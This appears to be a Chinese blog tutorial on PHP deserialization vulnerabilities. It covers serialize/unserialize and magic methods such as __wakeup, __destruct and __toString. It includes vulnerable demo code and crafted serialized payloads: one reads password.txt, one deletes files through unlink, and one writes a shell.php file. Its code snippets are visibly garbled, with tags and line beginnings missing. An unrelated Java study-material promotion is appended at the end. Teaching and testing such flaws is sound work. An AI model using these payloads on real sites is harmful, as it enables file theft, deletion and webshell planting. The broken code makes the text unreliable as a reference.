目录
序列化是将对象转换为字符串以便存储传输的一种方式。而反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使用。在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize()。
当程序在进行反序列化时,会自动调用一些函数,例如__wakeup(),__destruct()等函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。
当我们在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,用于保存对象的值方便之后的传递与使用。
测试代码
";
print_r($stu);
//进行序列化
$stus = serialize($stu);
print_r($stus);
}
?>
查看结果:
unserialize()可以从序列化后的结果中恢复对象(object)为了使用这个对象,在下列代码中用unserialize重建对象.
测试代码:
";
//进行反序列化
print_r(unserialize($stus));
?>
查看结果:
魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,利用魔术方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)。 问题就出现在重载过程中,执行了相关代码。
测试代码:
";
//序列化
$stu_ser = serialize($stu);
print_r($stu_ser);
//当成字符串输出
echo "$stu";
//反序列化
$stu_unser = unserialize($stu_ser);
print_r($stu_unser);
?>
测试结果:
由于反序列化时unserialize()函数会自动调用wakeup(),destruct(),函数,当有一些漏洞或者恶意代码在这些函数中,当我们控制序列化的字符串时会去触发他们,从而达到攻击。
个网站内正常页面使用logfile.php文件,代码中使用unserialize()进行了反序列化,且反序列化的值是用户输入可控 。正常重构Stu对象
测试代码:
name.'
';
echo '年龄:'.$this->age;
}
}
//实例化对象
$stu = new Stu();
//重构用户输入的数据
$newstu = unserialize($_GET['stu']);
//O:3:"Stu":2:{s:4:"name";s:25:"";s:3:"age";i:120;}
echo "";
var_dump($newstu) ;
?>
logfile.php 代码:
';
file_put_contents($this->filename, $text,FILE_APPEND);
}
//删除日志文件
function __destruct()
{
//输出删除的文件
echo '析构函数__destruct 删除新建文件'.$this->filename;
//绝对路径删除文件
unlink(dirname(__FILE__).'/'.$this->filename);
}
}
?>
正常输入参数:O:3:“Stu”:2:{s:4:“name”;s:2:“aa”;s:3:“age”;i:20;}
重构logfile.php文件包含的对象进行文件删除
发现正常删除,但如果我们修改参数,让其删除其他的文件呢?
例如有一个代码为index.php,源码如下
test);
fclose($fp);
}
}
$class = @$_GET['test'];
print_r($class);
echo "";
$class_unser = unserialize($class);
// 为显示效果,把这个shell.php包含进来
require "shell.php";
?>
传入参数:test=O:7:“chybeta”:1:{s:4:“test”;s:19:“
查看shell.php文件
也可以传入:O:7:“chybeta”:1:{s:4:“test”;s:25:“
举个例子,某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo $obj),而且其他类也可能定义了一个类允许 __toString读取某个文件。把下面这段代码保存为fileread.php
fileread.php代码
filename);
}
}
?>
个网站内正常页面应引用fileread.php文件,代码中使用unserialize()进行了反序列化,且反序列化的值是用户输入可控 。
测试代码:
name.';'.'年龄:'.$this->age;
}
}
//O:4:"User":2:{s:4:"name";s:2:"aa";s:3:"age";i:18;}
//反序列化
$obj = unserialize($_GET['user']);
//当成字符串输出触发toString
echo $obj;
?>
正常重构:O:4:“User”:2:{s:4:“name”;s:2:“aa”;s:3:“age”;i:18;}
重构fileread.php文件包含的类进行读取password.txt文件内容
重构:O:8:“FileRead”:1:{s:8:“filename”;s:12:“password.txt”;}
和大多数漏洞一样,反序列化的问题也是用户参数的控制问题引起的,所以最好的预防措施:
先自我介绍一下,小编13年上师交大毕业,曾经在小公司待过,去过华为OPPO等大厂,18年进入阿里,直到现在。深知大多数初中级java工程师,想要升技能,往往是需要自己摸索成长或是报班学习,但对于培训机构动则近万元的学费,着实压力不小。自己不成体系的自学效率很低又漫长,而且容易碰到天花板技术停止不前。因此我收集了一份《java开发全套学习资料》送给大家,初衷也很简单,就是希望帮助到想自学又不知道该从何学起的朋友,同时减轻大家的负担。添加下方名片,即可获取全套学习资料哦